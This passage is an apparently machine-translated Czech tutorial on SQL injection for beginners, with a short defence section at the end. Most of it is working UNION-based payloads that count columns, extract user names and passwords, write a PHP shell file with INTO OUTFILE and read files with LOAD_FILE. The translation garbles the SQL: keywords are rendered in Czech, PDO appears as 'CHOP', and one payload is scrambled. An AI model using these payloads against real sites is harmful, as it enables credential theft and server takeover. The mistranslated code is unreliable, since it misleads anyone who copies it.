1. SQL injection zde není – uvozovky jsou filtrovány, nebo se na ně prostě vyplatí převést (int)
2. Chybový výstup je deaktivován.

Pokud se stále zobrazuje chyba - Hurá! Našli jsme první typ SQL injection - Numerický vstupní parametr.

Vstupní parametr řetězce

Žádosti budeme zasílat na index2.php. V tomto souboru žádost vypadá takto:
$user = $_GET["uživatel"]; $query = "VYBRAT * Z novinek WHERE user="$user"";

Zde vybíráme novinky podle uživatelského jména a opět nefiltrujeme.
Opět zasíláme poptávku s cenovou nabídkou:

Vypsalo to chybu. OK! To znamená, že existuje zranitelnost. Pro začátek nám to stačí – pojďme do praxe.

Pojďme jednat

Trochu teorie

Pravděpodobně se nemůžete dočkat, až z toho dostanete něco jiného než chyby. Nejprve si uvědomte, že znak " -- " je v SQL považován za komentář.

POZOR! Před a za ním musí být mezery. V URL jsou přenášeny jako %20

Vše, co následuje po komentáři, bude zahozeno, tj.
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

To se podaří. Můžete to zkusit na skriptu index2.php odesláním požadavku, jako je tento:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Naučte se parametr UNIE. V jazyce SQL klíčové slovo UNIE slouží ke spojení výsledků dvou SQL dotazů do jediné tabulky. To znamená, abychom z jiného stolu vytáhli něco, co potřebujeme.

Pojďme toho využít

Pokud je parametr „Číselný“, pak nemusíme v poptávce zasílat cenovou nabídku a samozřejmě na konec uvést komentář. Vraťme se ke scénáři index1.php.

Vraťme se ke skriptu sqlinj/index1.php?id=1 UNION SELECT 1 . Náš databázový dotaz vypadá takto:
SELECT * FROM news WHERE id=1 UNION SELECT 1
A dal nám chybu, protože... pro práci se slučovacími dotazy potřebujeme stejný počet polí.

Protože Jejich počet v prvním požadavku ovlivnit nemůžeme, v druhém pak musíme jejich počet vybrat tak, aby se rovnal prvnímu.

Výběr počtu polí

Výběr polí je velmi jednoduchý, stačí zaslat následující požadavky:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Chyba…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Další chyba!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Žádná chyba! To znamená, že počet sloupců je 5.

GROUP BY
Často se stává, že jich může být 20 nebo 40 nebo dokonce 60, abychom je nemuseli pokaždé třídit GROUP BY

Pokud žádost
sqlinj/index1.php?id=1 GROUP BY 2
nezobrazilo žádné chyby, což znamená, že počet polí je větší než 2. Zkusme:

Sqlinj/index1.php?id=1 GROUP BY 8
Op, vidíme chybu, to znamená, že počet polí je menší než 8.

Pokud u GROUP BY 4 není žádná chyba a u GROUP BY 6 je chyba, pak je počet polí 5

Definování výstupních sloupců
Aby se nám od prvního požadavku nic nezobrazilo, stačí nahradit neexistující ID, například:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

Touto akcí jsme určili, které sloupce se na stránce zobrazí. Nyní, abyste mohli tato čísla nahradit potřebnými informacemi, musíte v požadavku pokračovat.

Výstup dat

Řekněme, že víme, že tabulka stále existuje uživatelů ve kterých pole existují id, jméno A přihrávka.
Potřebujeme získat informace o uživateli s ID=1

Proto sestavme následující dotaz:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
Skript také pokračuje ve výstupu

K tomu dosadíme názvy polí místo čísel 1 a 3

Sqlinj/index1.php?id=-1 název UNION SELECT,2,pass,4,5 FROM users WHERE id=1
Dostali jsme, co jsme potřebovali!

Pro "vstupní parametr řetězce" jako ve skriptu index2.php na začátek je potřeba přidat uvozovky a na konec komentář. Příklad:
sqlinj/index2.php?user=-1" UNION SELECT název,2,pass,4,5 FROM users WHERE id=1 --%20

Čtení/zápis souborů

Pro čtení a zápis souborů musí mít uživatel databáze práva FILE_PRIV.
Nahrávání souborů
Je to vlastně velmi jednoduché. K zápisu souboru použijeme funkci OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 DO OUTFILE "1.php" --%20
Výborně, soubor byl u nás zaregistrován. Můžeme tedy vyplnit mini-shell:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 DO OUTFILE "1.php" --%20
Čtení souborů
Čtení souborů je ještě jednodušší než zápis. Funkci stačí jednoduše použít LOAD_FILE, pro místo pole, které vybereme:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Přečetli jsme tedy předchozí zapsaný soubor.

Způsoby ochrany

Chránit se je ještě jednodušší než zneužít zranitelnost. Stačí data filtrovat. Pokud předáváte čísla, použijte
$id = (int) $_GET["id"];
Jak navrhl uživatel malroc. Chraňte se pomocí CHOP nebo připravených výpisů.

Místo dokončení

Zde chci dokončit svou první část o „vkládání SQL pro začátečníky“. Ve druhém se podíváme na závažnější příklady injekcí. Zkuste sami psát zranitelné skripty a spouštět dotazy.
A nezapomeňte, že nedůvěřujte žádnému uživateli vašeho webu.